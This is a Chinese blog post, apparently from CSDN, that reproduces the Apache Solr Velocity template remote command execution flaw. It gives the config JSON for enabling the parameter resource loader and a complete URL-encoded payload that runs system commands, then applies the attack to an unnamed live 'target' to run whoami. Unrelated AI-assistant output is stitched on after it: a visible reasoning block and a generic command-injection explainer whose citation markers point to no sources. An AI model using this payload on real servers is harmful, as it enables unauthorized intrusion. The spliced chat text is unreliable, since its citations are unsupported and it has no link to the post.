Apache Solr远程命令执行漏洞复现+实战

前言:

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞原理:

该漏洞的产生是由于两方面的原因:

  1. 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
  2. Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

影响版本:

  • 包括且不限于8.2.0(最新版本)
  • 5.4.1/5.5.0
  • 6.6.1/6.6.3
  • 7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2
  • 8.1.0/8.1.1/8.2.0

漏洞复现:

windows环境+Solr
Solr下载地址:http://archive.apache.org/dist/lucene/solr/7.7.2/solr-7.7.2.zip
第一步:下载好Solr环境后,解压,进入到C:\Users\Administrator\Desktop\solr-7.7.2\bin目录中。
在该目录中打开cmd,输入命令

solr start

出现如图表示启动成功。
在这里插入图片描述
访问本机ip地址+端口8983 如图表示启动成功。
在这里插入图片描述
第二步:添加Core Selector查看集合,该漏洞利用前提条件是攻击者需要知道Solr服务中Core的名称才能执行攻击

在这里插入图片描述:此时直接添加是无法进行添加的,需要将C:\Users\Administrator\Desktop\solr-7.7.2\server\solr\configsets\_default目录下的conf文件夹复制到C:\Users\Administrator\Desktop\solr-7.7.2\server\solr\jimolang下。
在这里插入图片描述在这里插入图片描述
第三步:添加Core Selector,添加成功。
在这里插入图片描述
第四步:通过burp抓包修改请求为POST,修改/solr/jimolang/config配置文件。开启params.resource.loader.enabled

windows下踩坑情况,由于默认请求是get请求,当修改为post请求时需要添加参数体来开启params.resource.loader.enabled但是默认的请求类型是application/x-www-form-urlencoded此时如果直接提交是失败的,如下图所示:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

在这里插入图片描述修改Content-Type:application/json后成功。(到了这一步已经成功开启params.resource.loader.enabled)为true
在这里插入图片描述
第五步:使用exp执行命令whoami

/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

实战:

访问目标地址:
在这里插入图片描述
burp抓包修改请求包为POST,并开启params.resource.loader.enabled为true,如图成功开启。
在这里插入图片描述

命令执行:whoami

在这里插入图片描述

<think>好的,我现在需要处理用户关于命令执行漏洞的查询。首先,我得理解用户的需求,他们想了解这类漏洞的原理和防护措施,可能是为了学习防范或者利用。不过作为回答者,我应该专注于提供防御方面的信息,避免涉及利用细节。 首先,命令执行漏洞的原理。这类漏洞通常发生在应用程序将用户输入直接传递给系统命令执行函数时,比如在Web应用中,用户输入未经充分过滤就被用来执行系统命令。攻击者可以利用这一点注入恶意命令,从而控制服务器。需要分清楚远程命令执行(RCE)和本地命令执行的区别,但用户可能更关注Web环境下的情况,所以重点放在RCE上。 接下来要解释漏洞产生的条件,比如用户输入拼接进系统命令,或者使用危险函数如eval()、system()等。需要举一些例子,比如用户提交表单中的参数被直接用于执行命令,而开发者没有进行过滤。比如用户输入“; rm -rf /”,如果直接拼接到命令中,就会导致灾难性后果。 然后是常见的触发场景,比如参数注入、反序列化漏洞、模板注入等。比如Log4j2漏洞就是因为日志框架执行了恶意构造的输入,属于反序列化问题。还有Spring框架的漏洞,用户可能提到的CVE-2022-22965,这个可以作为例子引用。需要引用已有的资料,比如引用3和4,但用户提供的引用中,引用4提到了Spring的漏洞,可能可以关联起来。 防护措施方面,要分点说明。首先是输入过滤和验证,比如白名单机制,只允许特定字符。其次是避免直接执行系统命令,使用安全的API替代。然后是权限控制,比如应用程序运行在低权限账户下。接着是转义处理,对特殊字符进行转义。另外,使用安全的框架和库,及时更新补丁,比如引用3提到的Log4j2修复方案。还要进行安全测试,比如SAST和DAST。最后是日志监控,以及使用Web应用防火墙。 可能还需要引用用户提供的资料中的内容,比如引用1提到JSON序列化漏洞,这可能与反序列化导致的命令执行有关联,可以指出反序列化漏洞可能导致RCE。引用2关于XSS的防护原理,虽然不同,但输入过滤和转义的思路类似,可以类比说明。 现在要确保回答的结构清晰,分点列出原理和防护措施,每个部分有例子和引用。同时,生成相关问题,可能需要围绕漏洞类型、具体案例、防护工具、测试方法等展开。 最后检查是否符合用户的要求:使用中文,行内公式正确,独立公式不需要,因为这里不涉及数学公式。引用标识要自然地添加在引用段落末尾,比如在提到Log4j时引用[^3],提到Spring漏洞时引用[^4],反序列化问题引用[^1],输入过滤引用[^2]等。同时,确保LaTeX语法正确,但在这个问题中可能用不到太多数学表达式,除非举例时有变量,但用户的问题主要关于命令执行,可能不需要数学公式,所以可能不需要使用$...$或$$...$$格式,但需要留意是否有需要的地方。 现在组织内容,确保每个部分有逻辑性,并且引用正确。比如在原理部分提到参数注入、反序列化、模板注入,举例如Log4j2和Spring漏洞,引用对应的引用3和4。在防护措施中提到输入过滤(引用2),使用安全框架(引用3、4),权限控制等。 生成的问题可能包括:命令执行漏洞与反序列化漏洞的关系,如何检测这类漏洞,具体历史案例(如Log4j2),防护措施中的权限控制具体方法,如何实施CSP(虽然CSP主要用于XSS,但可能用户会联想到其他防护策略),或者与XSS的区别等。</think>### 命令执行漏洞原理及防护措施 #### 一、命令执行漏洞原理 命令执行漏洞(Command Injection)是指攻击者通过构造恶意输入,使应用程序**将用户输入作为系统命令的一部分执行**,从而控制服务器或执行任意操作[^1]。其核心原因是开发者未对用户输入进行充分验证和过滤,直接将输入拼接至系统命令中。 **典型场景包括:** 1. **参数注入**:例如,Web应用通过用户输入的URL参数构造系统命令: ```python # 危险示例:用户输入直接拼接至命令 os.system("ping " + user_input) ``` 若用户输入为`8.8.8.8; rm -rf /`,将导致服务器执行删除操作。 2. **反序列化漏洞**:反序列化未经验证的数据时可能触发恶意代码执行。例如,Log4j2漏洞(CVE-2021-44228)通过日志中的恶意字符串执行远程代码[^3]。 3. **模板注入**:某些框架(如Spring)的表达式解析漏洞可能允许命令执行,例如CVE-2022-22965中攻击者通过参数注入执行SpEL表达式。 --- #### 二、防护措施 1. **输入过滤与白名单验证** - 对用户输入进行**严格的白名单过滤**,仅允许符合预期的字符(如数字、字母)。 - 示例:使用正则表达式验证输入是否为合法IP地址: ```python import re if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', user_input): raise ValueError("Invalid IP") ``` 2. **避免直接执行系统命令** - 使用安全的API替代系统命令。例如,Python中优先使用`subprocess.run()`并指定参数列表,而非拼接字符串: ```python # 安全示例:参数列表化 subprocess.run(["ping", "-c", "4", user_input], shell=False) ``` 3. **最小权限原则** - 应用程序运行时应使用**低权限账户**,避免使用`root`或`Administrator`权限,限制攻击影响范围。 4. **转义特殊字符** - 对命令中的特殊字符(如`;`、`&`、`|`)进行转义。例如,在Bash中使用`shlex.quote()`处理输入: ```python import shlex safe_input = shlex.quote(user_input) ``` 5. **使用安全框架与更新补丁** - 及时更新依赖库和框架,修复已知漏洞。例如,Log4j2需升级至2.17.0以上版本[^3]。 - 启用安全机制,如Spring的`@PreAuthorize`注解限制敏感操作。 6. **安全测试与监控** - 通过**静态代码分析(SAST)**和**动态测试(DAST)**检测潜在漏洞。 - 部署Web应用防火墙(WAF)拦截恶意请求,并监控异常命令执行日志。 --- #### 三、典型案例 1. **Log4j2远程代码执行(CVE-2021-44228)** 攻击者通过日志中的`${jndi:ldap://恶意URL}`触发JNDI注入,最终执行任意命令。 2. **Spring框架RCE(CVE-2022-22965)** 利用数据绑定机制注入恶意参数,修改服务器配置并写入Webshell。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值